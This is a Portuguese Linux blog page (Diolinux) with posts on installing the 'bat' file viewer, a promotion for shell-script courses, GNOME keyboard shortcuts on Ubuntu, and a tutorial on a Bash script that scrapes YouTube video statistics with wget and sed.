Para instalar o "bat" no Debian, Ubuntu, Mint e derivados rode os comandos abaixo em ordem:

Para sistemas 64 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_amd64.deb
sudo dpkg -i bat_0.9.0_amd64.deb
Para sistemas 32 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_i386.deb
sudo dpkg -i bat_0.9.0_i386.deb
Caso você use Arch, Manjaro, Antergos e derivados:
sudo pacman -S bat
Caso você outra distro (ou qualquer uma), use:

Para sistemas 64 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat-v0.9.0-x86_64-unknown-linux-gnu.tar.gz
tar zxvf bat-v0.9.0-x86_64-unknown-linux-gnu.tar.gz
cd bat-v0.9.0-x86_64-unknown-linux-gnu/
sudo mv bat /usr/local/bin/
sudo mv bat.1 $(man -w echo | sed 's/echo.*//')
Para sistemas 32 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat-v0.9.0-i686-unknown-linux-gnu.tar.gz
tar zxvf bat-v0.9.0-i686-unknown-linux-gnu.tar.gz
cd bat-v0.9.0-i686-unknown-linux-gnu/
sudo mv bat /usr/local/bin/
sudo mv bat.1 $(man -w echo | sed 's/echo.*//')

E como se usa? 


Brincar com o "morcego" é tão fácil quanto com o "gato" e acho que só no mundo Linux essa frase faz algum sentido, não é, não? 🤣🤣🤣

Para começar usar o Bat, você pode simplesmente rodar o comando bat [seu_arquivo] ou se quiser iniciar aos poucos, rode o comando bat --help para ter uma ajuda, se preferir, leia diretamente pelo manual com o comando man bat.

Alguns exemplos para você entender


Vamos ler um arquivo de Shell Script para ver a saída:

Bat Instagram

Existem muitas outras opções de configuração, leitura e personalização de cores que você pode fazer no Bat, basta usar o help ou o manual para ter uma noção melhor, outro lugar legal para você visitar é o repositório do software no GitHub, lá você também encontra muitas informações.

Caso você não tenha um bom domínio com comandos do terminal ou deseja ampliar ainda mais, recomendo você adquirir os treinamentos oferecidos aqui no blog Diolinux, juntamente com o Terminal Root e aproveitar os pacotes exclusivos. Saiba mais clicando aqui.

Abraços!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Curso EXTREMAMENTE AVANÇADO de Shell Script!

Nenhum comentário

domingo, 11 de novembro de 2018

Agora que você já perdeu o medo do terminal Linux chegou a hora de dar um passo a mais e usar todo o potencial que ele te oferece como uma ferramenta para controle, automação e até diversão, por que não?

Cursos avançado de Shell Script







O meu amigo Marcos, do canal Terminal Root, vem desenvolvendo há muito tempo um material extenso e completo sobre o uso de aplicações em modo texto, terminal e shell script e hoje eu tenho o prazer de anunciar a disponibilidade deste material!

O que você vai aprender se fizer o curso?


Absolutamente tudo sobre manuais, processos, animações em ASCII e Unicode. Vai aprender inúmeros comandos de manipulação de dados do Terminfo e Termcap. Também vai descobrir todo raciocínio e lógica utilizada para criação de games, utilizando a raíz da criação. 

Aprenderá a criar um instalador pra o Arch Linux, bem como manipulação de Sistema de Arquivos via linha de comando. Entre diversos outros tópicos para criar programas profissionais e com recursos UX e UI deixando-os mais intuitivos.

No vídeo à seguir o Marcos te mostra a aplicação prática do Script de instalação do Arch.



São 22 vídeos, mais de 2GB de conteúdo que você pode baixar e guardar com você para sempre, 18 apostilas em PDF, 18 Scripts didáticos e ainda vários arquivos, imagens e outros, tudo isso para te ajudar a estudar e virar um ninja especialista no terminal.

Quanto custa?


O curso possui o valor de investimento de R$ 174,90, porém, um requisito importantíssimo é já ter conhecimento básico ao menos em Shell Script, para que assim você possa desenvolver as habilidades propostas no curso de forma mais rápida.

Caso você não satisfaça esse pré-requisito, o Marcos também preparou alguns cursos que vão te dar toda a base necessária para ir para o curso extremamente avançado.

1 - Curso do Iniciante ao Avançado de Shell Script - Onde você aprenderá o essencial, além de manipular banco de dados e usar Shell Script para Web.

Valor: R$ 39,90.
Mais detalhes em: terminalroot.com.br/bash

2 - Curso do Editor Vim - Você aprenderá a customizar o Vim, podendo por exemplo mapear qualquer tecla para responder como deseja.

Valor: R$ 29,90
Mais detalhes em: terminalroot.com.br/vim

3 - Curso Extremamente Avançado em Shell Script Bash - Para criação de animações, instaladores de distros, games e muito mais, como já comentado neste artigo:

Valor: R$ 174,90
Mais informações em: terminalroot.com.br/shell

PORÉM, como aqui não brinca quando o assunto é promoção, agora, em uma parceria entre o Diolinux e o Terminal Root, você pode levar todos os 3 cursos por apenas R$ 179,90!

Um bônus: Além destes cursos mencionados, você também receberá o curso de SED - Editor de fluxo completo.

Como você pode comprar?


Na verdade, de forma muito simples. Todo o material dos cursos será enviado para você por e-mail, então basta fazer a compra através do PagSeguro: https://pag.ae/bkBDp7l

Depois disso é só aguardar o recebimento do material, se tiver alguma dúvida, entre em contato diretamente com o Marcos em terminalroot.com.br.

Fique ligado no blog e o no canal Diolinux, pois provavelmente sortearemos alguns cursos completos para nossos leitores e inscritos em breve!

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


7 atalhos simples para facilitar a sua experiência no GNOME do Ubuntu

Nenhum comentário

segunda-feira, 17 de setembro de 2018

Atalhos sempre são bem vindos, eles nos ajudam a ser mais produtivos com o computador no dia a dia,no artigo de hoje vamos mostrar alguns atalhos para quem está usando o GNOME no Ubuntu  e claro, não vamos mencionar os atalhos universais como Ctrl+C (Copiar), Ctrl+V (Colar) e Ctrl+S (Salvar). Vamos lá:

7 atalhos simples para facilitar a sua experiência no GNOME do Ubuntu






1 - Abrir o Dash 

Para abrirmos o Dash do GNOME e procurar algum aplicativo instalado, ver as áreas de trabalho disponíveis e ainda procurar por aplicativos não instalados (e que estejam nos repositórios ou na GNOME Software) basta pressionar a tecla Super (ou a tecla com o símbolo do Windows)

Se você quiser abrir o Dashboard do GNOME diretamente na grade de aplicativos, basta pressionar a combinação tecla ”Super+A”..

2 -Abrir o terminal

Quando precisamos executar algum comando, como atualizar o sistema, instalar um aplicativo ou qualquer outra ação que precise do terminal, podemos facilitar essa tarefa utilizando o seguinte atalho Ctrl+Alt+T e “voilà” , terminal aberto.

3 - Bloquear a tela 

Se você precisar sair por alguns momentos da frente do seu computador e não quer que ninguém fique bisbilhotando, , você pode bloquear a sua tela com usuário e senha, basta apertar Super+L ou Ctrl+Alt+L

4 - Minimizar todas as janelas abertas

Se você estiver querendo minimizar de uma vez todas as janelas abertas dos programas, basta apertar Super+D ou Ctrl+Alt+D e para maximizar todas novamente basta pressionar novamente.

5 - Alternar entre os aplicativos abertos

Se você tem muitos apps abertos e se perde com tantas janelas, esse atalho vai lhe ajudar.r. Pressione a combinação Super+Tab ou Alt+Tab e assim você vai ver todos os apps abertos e circular entre eles, podendo selecionar a aplicação desejada.

6- Fechar todas janelas de um determinado aplicativo

Se você precisar fechar todas as janelas de um determinado aplicativo, como o Firefox por exemplo, basta selecionar a janela da aplicação com o mouse e pressionar: Ctrl+Q e pode usar tb o Ctrl+W

7 -Fazer logoff/logout (Encerrar a Sessão)

Se você precisar fazer logoff/logout do sistema, existe um atalho que é bem conhecido, o Ctrl+Alt+Del.

Feito isso vai aparecer uma janela pedindo a sua confirmação para prosseguir.

Esses são alguns dos atalhos que podem facilitar o seu dia a dia.

Conte aí nos comentários se você usa algum atalho diferente e em qual ambiente gráfico.

Um forte abraço e até a próxima.
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como extrair informações de um vídeo do YouTube usando Shell Script

Nenhum comentário

sábado, 8 de setembro de 2018

O Shell Script pode ser utilizado em lugares muito diferentes e pode servir para automatizar qualquer tarefa que você poderia fazer passo a passo usando a sua distro Linux, hoje vamos aprender a extrair alguns dados do seu canal favorito do YouTube.

Shell Script no YouTube













Para aqueles que são Produtores de Conteúdo com Linux e vivem querendo saber a repercussão do vídeo que acabou de lançar no Youtube , mas está cansado de ficar abrindo toda hora o vídeo pelo navegador, esperando carregar para obter os dados do vídeo como:
  • Inscritos;
  • Gosteis/Likes;
  • Não gosteis/dislikes;
  • Comentários.
Sem dizer também aqueles que acompanham um vídeo que ele gostou e/ou comentou e deseja acompanhar se há novos comentários e etc. Vamos criar um Shell Script que irá nos passar esses dados com um simples comando no terminal linux! Esse exercício faz parte da série Não é magia, é Shell Script! .

Antes de mais nada precisamos criar um cabeçalho, além da Shebang (#!), o cabeçalho precisa de dados do autor, link ou e-mail, licença e a versão do software, logo ficaria assim:

#!/bin/bash
# author:  Marcos Oliveira <diolinux.com.br>
# license: MIT
# version: 1.0

Após isso precisamos criar uma função para pegar os dados do youtube, criamos um arquivo temporário em /tmp com o comando mktemp baixamos a página do youtube relativa a qualquer vídeo e jogamos a saída do wget no nosso arquivo temporário que armazenamos numa variável, leia as linhas que começam com # (comentários):


# Rodamos o comando mktempo numa subshell, logo seu conteúdo 
será armazenado em page_video_youtube 
page_video_youtube=$(mktemp)

# Com a linha abaixo o conteúdo da paǵina HTML será guardado no
arquivo referenciado pela variável
wget "https://www.youtube.com/watch?v=hj-aDdRasGY" -O
$page_video_youtube


Próximo passo agora é filtrar o conteúdo dos dados que baixamos, após abrirmos o arquivo no editor de texto, verificamos que a linha que mostra o ID do canal, possui uma string única na página que pode nos ajudar para pegar dados do canal como: Título e inscritos.

Como o Youtube utiliza um padrão para endereços canais, então podemos filtrar os dados utilizando o Sed e baixando a página principal do canal que há as informações mais precisas e já armezarmos em variáveis o conteúdo que desejamos, para não poluir nosso ambiente, criaremos novamente arquivos temporários e jogaremos os dados nas variáveis referenciadas.

Leia os comentários no código


# Pega o id do canal e armazena na variável, rodando numa 
subshell id_do_canal=$(cat "$page_video_youtube" | grep 
'channelId' | sed 's/.*\=\"//' | sed 's/\".*//')

# Criamos outro arquivo temporário na pasta /tmp que será nosso 
canal page_canal=$(mktemp)

# Sabemos que o Youtube tem esse padrão, então passamos o ID que
 pegamos e adicionamos ao padrão de url do Youtube
# Fizemos o wget rodar "silenciosamente" jogando a saída para o 
vazio, podemos fazer no anterior também
wget "https://www.youtube.com/channel/$id_do_canal" -O 
"$page_canal" 2>/dev/null


Pronto, já possuímos todos os arquivos que precisamos, logo agora só resta filtrar os conteúdos e armazená-los numa variável para exibirmos numa próxima função que levaremos a ela via array, leia os comentários para entender as linhas, verifique que agora estamos passando a url via parâmetro pra função, pois iremos enviá-la pelo prompt:

function get_dados_youtube() {

# Filtramos o número de inscritos, título do víde, visualizações e gosteis ou não com sed e awk
num_inscritos=$(cat "$page_canal" | grep yt-subscription-button-subscriber-count-branded-horizontal | sed 's/<[^>]*>/ /g' | awk '{print $NF}')
titulo_video=$(cat $page_video_youtube | sed '/title/{p; q;}' | grep title | sed 's/<[^>]*>//g' | uniq | sed 's/...YouTube.*//')
views_video=$(cat $page_video_youtube | grep watch-view-count | sed 's/<[^>]*>//g')
likes=$(cat $page_video_youtube | grep like-button-renderer-like-button-unclicked | sed 's/<[^>]*>//g ;s/ //g')
dislikes=$(cat $page_video_youtube | grep like-button-renderer-dislike-button-unclicked | sed 's/<[^>]*>//g ;s/ //g')

echo "Nome do canal: $titulo_do_canal"
echo "Número de inscritos: $num_inscritos"
echo "Título do vídeo: $titulo_video"
echo "Visualizações: $views_video"
echo "Gosteis: $likes"
echo "Não gosteis: $dislikes"
}

Agora é só criar uma condição que obriga o usuário a informar o vídeo e pronto, veja o script pronto abaixo, copie o código, cole num arquivo, dê permissão de execução e rode:


Shell Script YouTube

No próximo artigo da série vamos adicionar nº de comentários, cores e uma condição para quando não houver URL, nosso script pegar os dados do vídeo mais recente! E depois para finalizarmos essa série, teremos uma surpresinha 😎 !

Se você ainda não tem muitos conhecimentos em Shell Script e está procurando uma forma eficaz de aprender do zero? Ou quem sabe você já possui conhecimentos em Shell mas quer evoluir e aprender a criar manuais, processos, games, animações, instaladores e muito mais?

Então não deixe passar a oportunidade de conhecer o "Curso Extremamente Avançado de Shell Script" que oferecemos junto com a galera do Terminal Root, são 3 cursos pelo preço de um, conheça aqui.

Até a próxima e bons estudos! linha de espaço Fim do texto
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.

Blog Diolinux © all rights reserved
made with by templateszoo